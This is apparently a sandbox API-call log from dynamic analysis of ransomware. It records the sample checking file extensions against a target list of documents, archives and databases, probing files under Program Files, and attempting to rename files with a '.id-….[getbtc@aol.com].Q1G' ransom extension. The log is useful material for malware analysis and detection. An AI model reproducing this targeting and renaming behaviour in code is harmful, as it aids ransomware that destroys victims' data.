-1 [0237.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0237.364] lstrlenW (lpString=".1cd") returned 4 [0237.364] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0237.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0237.364] lstrlenW (lpString=".jpg") returned 4 [0237.364] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0237.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0237.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0237.365] lstrlenW (lpString=".doc") returned 4 [0237.365] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0237.365] lstrlenW (lpString=".docx") returned 5 [0237.365] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0237.365] lstrlenW (lpString=".pdf") returned 4 [0237.365] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0237.365] lstrlenW (lpString=".xls") returned 4 [0237.365] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0237.365] lstrlenW (lpString=".xlsx") returned 5 [0237.365] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0237.365] lstrlenW (lpString=".ppt") returned 4 [0237.365] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0237.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0237.365] lstrlenW (lpString=".zip") returned 4 [0237.365] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0237.365] lstrlenW (lpString=".rar") returned 4 [0237.365] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0237.365] lstrlenW (lpString=".bz2") returned 4 [0237.365] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0237.365] lstrlenW (lpString=".7z") returned 3 [0237.365] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0237.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0237.365] lstrlenW (lpString=".dbf") returned 4 [0237.365] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0237.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0237.365] lstrlenW (lpString=".1cd") returned 4 [0237.365] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0237.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0237.365] lstrlenW (lpString=".jpg") returned 4 [0237.365] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0237.366] lstrcmpiW (lpString1=".gif", lpString2=".Q1G") returned -1 [0237.366] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0237.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0237.366] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=4587) returned 1 [0237.366] CloseHandle (hObject=0x210) returned 1 [0237.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0237.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0237.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0237.366] lstrlenW (lpString=".doc") returned 4 [0237.366] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0237.366] lstrlenW (lpString=".docx") returned 5 [0237.366] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0237.366] lstrlenW (lpString=".pdf") returned 4 [0237.366] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0237.366] lstrlenW (lpString=".xls") returned 4 [0237.366] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0237.366] lstrlenW (lpString=".xlsx") returned 5 [0237.366] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0237.367] lstrlenW (lpString=".ppt") returned 4 [0237.367] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0237.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0237.367] lstrlenW (lpString=".zip") returned 4 [0237.367] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0237.367] lstrlenW (lpString=".rar") returned 4 [0237.367] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0237.367] lstrlenW (lpString=".bz2") returned 4 [0237.367] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0237.367] lstrlenW (lpString=".7z") returned 3 [0237.367] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0237.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0237.367] lstrlenW (lpString=".dbf") returned 4 [0237.367] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0237.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0237.367] lstrlenW (lpString=".1cd") returned 4 [0237.367] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0237.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0237.367] lstrlenW (lpString=".jpg") returned 4 [0237.367] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0237.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0237.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0237.367] lstrlenW (lpString=".doc") returned 4 [0237.367] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0237.367] lstrlenW (lpString=".docx") returned 5 [0237.367] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0237.367] lstrlenW (lpString=".pdf") returned 4 [0237.367] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0237.367] lstrlenW (lpString=".xls") returned 4 [0237.367] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0237.367] lstrlenW (lpString=".xlsx") returned 5 [0237.367] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0237.367] lstrlenW (lpString=".ppt") returned 4 [0237.367] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0237.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0237.368] lstrlenW (lpString=".zip") returned 4 [0237.368] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0237.368] lstrlenW (lpString=".rar") returned 4 [0237.368] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0237.368] lstrlenW (lpString=".bz2") returned 4 [0237.368] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0237.368] lstrlenW (lpString=".7z") returned 3 [0237.368] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0237.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0237.368] lstrlenW (lpString=".dbf") returned 4 [0237.368] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0237.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0237.368] lstrlenW (lpString=".1cd") returned 4 [0237.368] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0237.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0237.368] lstrlenW (lpString=".jpg") returned 4 [0237.368] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0237.368] lstrcmpiW (lpString1=".gif", lpString2=".Q1G") returned -1 [0237.368] lstrlenW (lpString="Connectivity.gif") returned 16 [0237.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0237.368] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2319) returned 1 [0237.368] CloseHandle (hObject=0x210) returned 1 [0237.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0237.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0237.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0237.369] lstrlenW (lpString=".doc") returned 4 [0237.369] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0237.369] lstrlenW (lpString=".docx") returned 5 [0237.369] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0237.369] lstrlenW (lpString=".pdf") returned 4 [0237.369] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0237.369] lstrlenW (lpString=".xls") returned 4 [0237.369] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0237.369] lstrlenW (lpString=".xlsx") returned 5 [0237.369] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0237.369] lstrlenW (lpString=".ppt") returned 4 [0237.369] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0237.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0237.369] lstrlenW (lpString=".zip") returned 4 [0237.369] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0237.369] lstrlenW (lpString=".rar") returned 4 [0237.369] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0237.369] lstrlenW (lpString=".bz2") returned 4 [0237.369] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0237.369] lstrlenW (lpString=".7z") returned 3 [0237.369] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0237.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0237.369] lstrlenW (lpString=".dbf") returned 4 [0237.369] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0237.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0237.369] lstrlenW (lpString=".1cd") returned 4 [0237.369] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0237.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0237.369] lstrlenW (lpString=".jpg") returned 4 [0237.370] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0237.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0237.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0237.370] lstrlenW (lpString=".doc") returned 4 [0237.370] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0237.370] lstrlenW (lpString=".docx") returned 5 [0237.370] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0237.370] lstrlenW (lpString=".pdf") returned 4 [0237.370] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0237.370] lstrlenW (lpString=".xls") returned 4 [0237.370] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0237.370] lstrlenW (lpString=".xlsx") returned 5 [0237.370] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0237.370] lstrlenW (lpString=".ppt") returned 4 [0237.370] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0237.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0237.370] lstrlenW (lpString=".zip") returned 4 [0237.370] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0237.370] lstrlenW (lpString=".rar") returned 4 [0237.370] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0237.370] lstrlenW (lpString=".bz2") returned 4 [0237.370] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0237.370] lstrlenW (lpString=".7z") returned 3 [0237.370] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0237.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0237.370] lstrlenW (lpString=".dbf") returned 4 [0237.370] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0237.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0237.370] lstrlenW (lpString=".1cd") returned 4 [0237.370] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0237.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0237.370] lstrlenW (lpString=".jpg") returned 4 [0237.370] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0237.371] lstrcmpiW (lpString1=".emf", lpString2=".Q1G") returned -1 [0237.371] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0237.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0237.371] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=3792) returned 1 [0237.371] CloseHandle (hObject=0x210) returned 1 [0237.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0237.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0237.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0237.371] lstrlenW (lpString=".doc") returned 4 [0237.371] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0237.371] lstrlenW (lpString=".docx") returned 5 [0237.371] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0237.371] lstrlenW (lpString=".pdf") returned 4 [0237.371] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0237.371] lstrlenW (lpString=".xls") returned 4 [0237.371] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0237.371] lstrlenW (lpString=".xlsx") returned 5 [0237.372] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0237.372] lstrlenW (lpString=".ppt") returned 4 [0237.372] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0237.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0237.372] lstrlenW (lpString=".zip") returned 4 [0237.372] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0237.372] lstrlenW (lpString=".rar") returned 4 [0237.372] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0237.372] lstrlenW (lpString=".bz2") returned 4 [0237.372] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0237.372] lstrlenW (lpString=".7z") returned 3 [0237.372] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0237.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0237.372] lstrlenW (lpString=".dbf") returned 4 [0237.372] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0237.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0237.372] lstrlenW (lpString=".1cd") returned 4 [0237.372] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0237.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0237.372] lstrlenW (lpString=".jpg") returned 4 [0237.372] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0237.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0237.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0237.372] lstrlenW (lpString=".doc") returned 4 [0237.372] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0237.372] lstrlenW (lpString=".docx") returned 5 [0237.372] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0237.372] lstrlenW (lpString=".pdf") returned 4 [0237.372] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0237.372] lstrlenW (lpString=".xls") returned 4 [0237.372] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0237.372] lstrlenW (lpString=".xlsx") returned 5 [0237.372] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0237.372] lstrlenW (lpString=".ppt") returned 4 [0237.372] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0237.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0237.373] lstrlenW (lpString=".zip") returned 4 [0237.373] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0237.373] lstrlenW (lpString=".rar") returned 4 [0237.373] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0237.373] lstrlenW (lpString=".bz2") returned 4 [0237.373] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0237.373] lstrlenW (lpString=".7z") returned 3 [0237.373] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0237.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0237.373] lstrlenW (lpString=".dbf") returned 4 [0237.373] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0237.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0237.373] lstrlenW (lpString=".1cd") returned 4 [0237.373] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0237.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0237.373] lstrlenW (lpString=".jpg") returned 4 [0237.373] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0237.373] lstrcmpiW (lpString1=".htm", lpString2=".Q1G") returned -1 [0237.373] lstrlenW (lpString="Garden.htm") returned 10 [0237.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0237.374] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=231) returned 1 [0237.374] CloseHandle (hObject=0x210) returned 1 [0237.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0237.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0237.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0237.374] lstrlenW (lpString=".doc") returned 4 [0237.374] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0237.374] lstrlenW (lpString=".docx") returned 5 [0237.374] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0237.374] lstrlenW (lpString=".pdf") returned 4 [0237.374] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0237.374] lstrlenW (lpString=".xls") returned 4 [0237.374] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0237.374] lstrlenW (lpString=".xlsx") returned 5 [0237.374] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0237.374] lstrlenW (lpString=".ppt") returned 4 [0237.374] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0237.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0237.374] lstrlenW (lpString=".zip") returned 4 [0237.374] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0237.374] lstrlenW (lpString=".rar") returned 4 [0237.374] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0237.374] lstrlenW (lpString=".bz2") returned 4 [0237.374] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0237.374] lstrlenW (lpString=".7z") returned 3 [0237.375] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0237.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0238.903] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.903] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.903] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.905] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.905] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.905] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.906] 